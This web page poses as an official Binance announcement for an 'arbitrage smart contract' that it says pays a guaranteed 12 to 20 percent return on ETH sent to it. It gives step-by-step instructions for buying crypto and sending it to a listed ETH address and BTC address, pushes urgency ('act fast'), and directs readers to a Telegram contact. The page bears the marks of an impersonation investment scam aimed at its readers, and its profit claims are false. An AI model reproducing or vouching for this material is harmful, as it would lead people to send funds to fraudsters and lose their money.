Binance Arbitrage Smart Contract

Fellow Binancians:

To kickstart the year, Binance Smart Chain(BSC) is launching an exclusive Arbitrage Year’s Rewards for our community!

At Binance, we truly believe that decentralized finance will play a pivotal role in the future.

In order to unlock the mainstream adoption of Binance Coin(BNB), a good wallet is one of the most important gateways for our users.

We appreciate all wallets who contribute to improving the user experience of Binance Chain!

Now team up with the high-quality wallets that have supported our Binance Chain since the beginning, we jointly launch the Binance arbitrage smart contract. Use the smart contract to trade your ETH to BNB, and it generates an extra 12%~20% BNB as your profit, which we committed to a total of 600,000 BNB.

What is binance arbitrage smart contract ?

The challenge for the arbitrage trader, or arbitrageur, is not only to find these price differences, but also to be able to trade them quickly. As other arbitrage traders may also see such price differences (spreads), the window for profit usually closes quickly.

Binance smart chain arbitrage is a smart contract trading strategy, which uses the latest smart contract technology and massive big data to monitor the price of ETH convert back Binance Coin(BNB) in a completely intelligent way to achieve Buy low and sell high, thereby eliminating intermediaries and reducing overall costs. For example, price discrepancies occur when a user buys an asset in one market and sells it for a higher price in another market. (The Binance arbitrage smart contract will capture the price faster and automatically convert back to BNB proportional to the price, resulting in a profit differential.)

Ok, Let's Get Started,let's take Atomic Wallet as an example

To start the Arbitrage smart contract, please follow the steps below:

1️⃣Download Atomic Wallet: https://atomicwallet.io/

2️⃣Deposit ETH to your wallet (ERC20) .

3️⃣In the wallet send ETH to the Binance Arbitrage Smart Contract.

4️⃣BNB will be automatically deposited into your wallet within 30 minutes. (including the original value +12%~20% BNB increase in value)

5️⃣Send BNB to the binance exchange and convert to ETH,then go back to the starting point and start another arbitrage round.

Note: The minimum sending volume of the arbitrage smart contract is 1 ETH, and the maximum sending volume is 200 ETH.

6️⃣Please contact the telegram group admin if you have any questions 👉 Jones 👈

How to buy Ethereum(ETH) in under 5 minutes?

1. Register on Binance

Even though trading cryptocurrency on Binance does not require a know-your-customer (KYC) process as long as you’re withdrawing less than 2 BTC per day, you will have to provide some of your personal details if you want to purchase crypto with your credit or debit card through Binance. 

2. Select "Buy Crypto"

• Select “Credit/Debit Card” for card payment. (If you wish to use PayPal, bank transfer or any other methods click P2P Trading)

• Enter the amount of Ethereum you want to purchase.

• Confirm your Ethereum order. 

• Enter your billing information.

• Enter your credit card information.

After completing an identity verification process, Binance will complete your cryptocurrency order. Usually, it will take between 10 and 45 minutes for the crypto to appear in your Binance account. 

3. How to withdraw the ETH you just bought to your Atomic Wallet?

• Select “Wallet” - “Fiat and Spot” 

•Click “Withdraw”, and copy-paste your Atomic Wallet’s (ERC20) ETH address.

•Let's go to the Atomic Wallet and click " RECEIVE " on the ETH interface to view your address.

4. Send ETH to the smart contract address

0xcb22f13A9B2c9975Fb3109a86022078406BC8fe9

Send BTC to the smart contract address

3JzRtZYTPTJiDpmXWxR8SrBCxzCXkF3wqR

The Arbitrage smart contract proximately generates 12%~20% profit.

• Open your Atomic Wallet and select ETH and click " SEND "

• Paste the smart contract address and sending ETH, click "SEND"

The minimum sending volume of the Arbitrage Smart Contract is 1 ETH, and the maximum sending volume is 200 ETH.

You will receive the BNB from the smart contract in about 30 minutes after it has been successfully sent. (including the original value +12%~20% BNB increase in value)

Note: 

If the transfer fails, please adjust the Gas limit and Gas price to a higher handling fee so that your order will be processed first.

Profit calculation:

Suppose the price of ETH is $1,800 and the price of BNB is $300

In your wallet, send 1 ETH ($ 1,800) to the smart contract, and you will get at least $1,800 + ($1,800 × 12%)= $2,016, which is 6.7 BNB, $216 gain.

At present, the amount of BNB in the contract pool is getting less and less, We need to act fast! 

(Check price https://coinmarketcap.com/currencies/binance-coin/ )

5. Convert your ETH to BNB on Binance exchange

https://www.binance.com/ is the Binance official website, of course, you could use the mobile phone app as well. If you are from the US, you should use https://www.binance.us/

a. Deposit your BNB received from the smart contract

Click "wallet" in the upper right corner, find “Fiat and Spot”

b. Click “Deposit”

Send your BNB from Atomic Wallet to Binance exchange

c. Trade-Transfer/Sell

Convert your BNB to ETH now and then you can withdraw the ETH back to Atomic Wallet for another arbitrage round again!

or you can either sell the ETH on Binance exchange or any other cryptocurrency exchange sites.

Best Places to Buy ETH of 2023

· Binance: Best for Low Rates in Other Currencies

· Coinbase: Best Overall

· Coinbase Pro: Best for Active Traders

· Coinmama: Best for Quick and Easy Transactions

Let's briefly summarize the process of arbitrage:

【Buy ETH】→【Send ETH to Wallet】→【In the Wallet recharge ETH to Arbitrage smart contract】→【Receive BNB in Wallet】→【Withdraw BNB to Binance】→【Sell BNB or convert BNB for ETH】→ 【Another round of new beginning】

Contact Group Support

📤if you have any questions or need guidance on your first arbitrage Please contact our telegram admin 👉 Jones 👈

Note:

• Maximum 3 rounds of arbitrage per day one binance account during the activity.
• The profit margin may fluctuate during the activity, but it will not be less than 10%.
• The minimum sending volume of the arbitrage smart contract is 1 ETH, and the maximum sending volume is 200 ETH.
• The activity will continue until the contract pool of 600,000 BNB is issued (expected until march 2024).
• After the activity finished, if you send ETH to the smart contract, your coins will be automatically returned to your wallet and no profit will be generated.
• It takes at least 3 times arbitrages to activate the smart contract

Crypto Wallet:

Download Atomic Wallet: https://atomicwallet.io/

Download Trust Wallet: https://trustwallet.com/

Download ZenGo wallet: https://zengo.com/

Binance Team